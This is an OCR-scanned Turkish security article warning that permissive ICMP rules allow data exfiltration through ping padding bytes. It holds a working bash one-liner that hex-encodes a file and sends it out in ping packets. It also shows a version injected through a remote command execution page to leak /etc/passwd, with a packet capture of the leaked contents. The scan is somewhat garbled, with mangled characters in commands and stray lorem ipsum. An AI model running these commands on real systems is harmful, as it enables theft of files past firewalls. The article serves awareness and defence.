ICMP Deyip Gecmeyin
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"Bundan da ne olacak ki?"... Bilisim guivenliginde ¢ok sik karsilastigimiz bir tepki. Oysa
yazilimci ya da ag sorumlusunun ciddiye almadigi siradan goziiken bir konu, giivenlik uzmaninin
onlem almasini gerektirebilir. O zaman da duymaya alistigl bu tepkiyle karsilagir: "Bundan da ne

olacak ki?". Bu konuda en glizel 6rneklerden birisi belki de ICMP paketleri.

ic ag bélimleri arasinda ICMP Echo paketleri, her sistem ve ag ydneticisinin isini
kolaylastiran, sorunlari ¢cozmede vazgecilmez bir ara¢. Cok sik ve her yerde ihtiya¢ duyulmasi
sebebiyle de guvenlik duvarlarinda bu zararsiz géziiken paketlerin gegisine ihtiya¢ gbz 6niinde
bulundurulmadan sinirsiz izin verme aliskanhgi yaygin. Glivenlik duvari ayarlarinda bu paketlere
sinirsiz izin verilmesini engellediginizde sistem ve ag yonetimini zorlastirdiginiz da dogru. Yine
de bazi 6zel durumlarda hassas bir ag bolimiinden bilgi sizmasini engellemek igin dikkat

etmeniz gereken bir protokol.

Bu yolla veri sizdirmanin ne kadar kolay olabilecegini gostermek isin ciddiyetini
anlatmaya yardimci olacaktir. Bunun i¢in ¢ok yaygin kullanilan ping araci bile yeterlidir. Gergek
hayatta ICMP ile bilgi sizmasi tehlikesine karsi onlem alinmasi gerekecek senaryolar ¢ok
karmasik olabilir. Biz 6rnegimizi basit hayali senaryolar Gzerinden anlatalim. Burada amag, bu
masum iznin komut satirinda basit bir bash betigi ile bile ne kadar da kolay istismar

edilebilecegini géstermek.

Guvenlik duvari arkasindaki aglara veri iletiminde ICMP echo paketlerinin “padding” icin
ayrilan byte’larindan faydalanacagiz. Sizdiginiz veya uzaktan komut calistirabileceginiz bir
glvenlik acigl barindiran sistemlerde kolayca kullanabileceginiz ping komutu ile ICMP Echo
Request génderebilirsiniz. Ustelik standart bir kullanicinin yetkisi olmayan IP paketi isleyebilme
ozelligini de kullanarak. Linux sistemlerde standart ping komutunda -p parametresi ile istenilen

veriyi sinirl uzunlukta da olsa HEX biciminde vererek ICMP paketinin icine gdmmek mimbkdn.



Asagidaki bash betiginde bundan faydalanarak sectigimiz bir dosya pargalara ayiracak ve

her bir parcayi ayri ayri ICMP paketleriyle disariya gonderecegiz:

while read -n16 leakme; do ping 10.0.0.1 -p S(echo Sleakme | xxd -p -u) -c 1; done

</iAmSecret.txt

Test ortamimizda kaynak ve hedef aglar sirasiyla 192.168.12.0/24 ve 10.0.0.0/24 olsun.
Senaryomuzda arada bulunan glivenlik duvari yalnizca ICMP paketlerinin gecisine miusade

etmekte.

Sunucudan(192.168.12.137) sizdirmak isteyecegimiz  bilgi  /tmp/iAmSecret.txt

dosyasinda bulunuyor.

sed do eiusmod tempor in




Saldiridan 6nce ping’in komut satirindan nasil galistigini gorelim:

ey

Burada yaptigimiz islem kisaca, bir dosyanin icerigini parcalara bolerek her parcayi uygun
bicime(HEX) cevirdikten sonra ping komutu ile ICMP Echo Request paketlerinin “padding”

byte’larina gbmmek.



Agda paketlerin izledigi yol Uzerinde bulunan bir cihazdan paketleri dinleyecek olursak

sizdirmak istedigimiz dosyamizi paketlerin igerisinde gormek mimkdn:

Uzaktan komut calistirabilecegimiz glivenlik agigi barindiran bir web sayfamiz olsaydi, o
zaman bu betigi ufak bir uyarlama ile komut satiri yerine web sayfasi lizerinden ¢alistirip

disariya ulastirmak da mimkdin olacakti:




Bu sefer /etc/passwd dosyasini kagirmak isteyelim. istismar edecegimiz uzaktan komut

calistirma acigi icin kiiclik bir uyarlama gerekmekte:

(©) 10.0.0.10/leaker.php

€ 2> C fit ©10.0.0.10/leaker.php

I am a remote command execution vulnerability!

cmd:  bash -c ‘while read -n16 leakme; do ping 10.0.0.1 -p $(echo Sleakme | xxd -p -u) -c 1; done </etc/passwd’

Kendi bilgisayarimiza gonderdigimiz ICMP paketlerinde /etc/passwd dosyasinin igerigini
parca parca gormek mimkin. Bu sefer paketleri gordiiglimuz bilgisayar agda farkli bir notkada

bulunmasi ve NAT sebebiyle kaynak IP farkli gbziikmekte:
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Filter: IZI Expression... Clear Apply
No. Time Source Destination Protocol Length Info
1 0.000000 10.0.0.10 10.0.0.1 ICMP 98 Echo (ping) request id=0x278d, seq=1/256, ttl=63
2 0.027854 10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1d=0x2791, seg=1/256, tt1=63
3 0.055773 10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1d=0x2795, seq=1/256, tt1=63
4 0.083049 10.0.0.10 10.0.0.1 ICMP 98 Echo (ping) request 1d=0x2799, seq=1/256, tt1=63
5 0.114787 10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1d=0x279d, segq=1/256, tt1=63
6 0.137021  10.0.0.10 10.0.0.1 ICMP 98 Echo (ping) request 1id=0x27al, seg=1/256, tt1=63
7 0.147552  10.0.0.10 10.0.0.1 ICMP 98 Echo (ping) request 1id=0x27a5, seg=1/256, tt1=63
8 0.157975  10.0.0.10 10.0.0.1 ICMP 98 Echo (ping) request 1id=0x27a9, seg=1/256, tt1=63
9 0.168084  10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1id=0x27ad, segq=1/256, tt1=63
10 0.178665  10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1d=0x27bl, segq=1/256, tt1=63
11 0.189209  10.0.0.10 10.0.0.1 ICMP 98 echo (ping) request 1d=0x27b5, segq=1/256, tt1=63
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Frame 1: 98 bytes on wire (784 bits), 98 bytes captured (784 bits)
Ethernet II, Src: 00:0c:29:50:da:9%a (00:0c:29:50:da:9a), Dst: bc:ae:c5:b4:al:d4e (bc:ae:c5:b4:al:de)
Internet Protocol version 4, Src: 10.0.0.10 (10.0.0.10), Dst: 10.0.0.1 (10.0.0.1)
Internet Control Message Protocol

Type: 8 (Echo (ping) request)

Code: 0

Checksum: 0x157d [correct]

Identifier (BE): 10125 (0x278d)

Identifier (LE): 36135 (0x8d27)

Sequence number (BE): 1 (0x0001)

Sequence number (LE): 256 (0x0100)
= Data (56 bytes)

pata: 76f49e4e00000000eb73060000000000726F6f743a783a30. ..

[Length: 56]

ODEE&E

0000 bc ae c5 b4 al 4e 00 Oc 29 50 da 9a 08 00 45 00
0010 00 54 00 00 40 00 3f 01 27 9f 0a 00 00 Oa Oa 00

10020 08 00 15 7d 27 8d 00 01 [

10030 73 06 00 00 00 00 00 72 6f 6f 74 3a 78
0040 30 3a 72 6f 6f 74 3a 72 6f 6f 74 3a 78
10050 30 3a 72 6f 6f 74 3a 72 6f 6f 74 3a

0060



Bir sonraki adim olarak bu betigin bir komutun ciktisini iletecek hale donistirilmesi

ilgilenenlere glizel bir egzersiz olacaktir

Gosterilmeye calisilan orneklerin basitligi yaniltmasin. Gergek hayatta tehlike yaratacak
yapilar ¢cok daha karmasik olacaktir ama bu kadari bile kiicimsenen ya da 6nlem alinmamis
basit bir noktanin ne kadar kolay istismar edilebilecegini gostermek icin yeterli. Normal kullanici
olarak yapmaya yetkiniz olmayan IP paketi islemek gibi hareketleri, baska bir amagla da olsa
buna sinirli yetkisi olan ping komutu ile yapabilirsiniz. Bu sayede tek bir satirla bu durumu

istismar etmek de mimkiin hale gelmekte.

Tabi ki ICMP’den vazgecmek miimkiin degil. Onlem olarak ise giivenlik duvarlarinda

yalnizca gerekli kaynaklar haricinde izin verilmemesi ilk adim igin uygun bir 6nlem olabilir.
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